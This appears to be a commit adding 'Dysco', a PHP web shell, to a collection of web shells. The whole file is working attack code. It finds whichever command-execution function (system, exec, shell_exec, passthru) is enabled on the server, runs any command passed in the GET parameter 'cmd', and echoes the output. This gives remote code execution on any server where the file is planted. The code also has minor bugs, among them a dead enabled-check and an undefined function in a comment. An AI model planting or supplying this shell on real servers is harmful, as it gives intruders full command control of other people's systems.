Add Dysco(Dynamic PHP Shell Command for RCE)

Dysco(Dynamic PHP Shell Command for RCE). This is example PHP Shell with support for dynamic RCE command, it's useful when you are don't know which php function is disabled.

Web-Shells/PHP/Dysco.php

@@ -0,0 +1,59 @@
+<?php
+
+/*
+ * Dysco(Dynamic PHP Shell Command for RCE)
+ * Created by Petruknisme @2020
+ * Contact: me@petruknisme.com
+ */
+
+
+function Dysco($command)
+{
+    $list_function_shell = array("system", "exec", "shell_exec", "passthru", "eval");
+    $f_enabled = array_filter($list_function_shell, 'function_exists');
+    
+    echo "Enabled Function:\n<br/>";
+    foreach($f_enabled as $f)
+    {
+        echo $f." ";
+    }
+
+    if($f_enabled !== ""){
+        $f = $f_enabled[0];
+        echo "<br/>\nUsing ". $f. " as shell command\n<br/>";
+         
+        if($f == "system" || $f == "passthru"){
+            // disable multiple output for system
+            ob_start();
+            $output =  $f($command, $status);
+            ob_clean(); 
+        }
+        else if($f == "exec"){
+            $f($command, $output, $status);
+            $output = implode("n", $output);
+        }
+        else if($f == "shell_exec"){
+            $output = $f($command);
+        }
+        else{
+            $output = "Command execution not possible. All supported function is disabled.";
+            $status = 1;
+        }
+ 
+    }
+	
+    return array('output' => $output , 'status' => $status);
+}
+
+// for HTTP GET use this.
+
+if(isset($_GET['cmd'])){
+    $o = Dysco($_GET['cmd']);
+    echo $o['output'];
+}
+
+// for debugging in local, use this
+
+//$o = shell_spawn('uname -a');
+//echo $o['output'];
+?>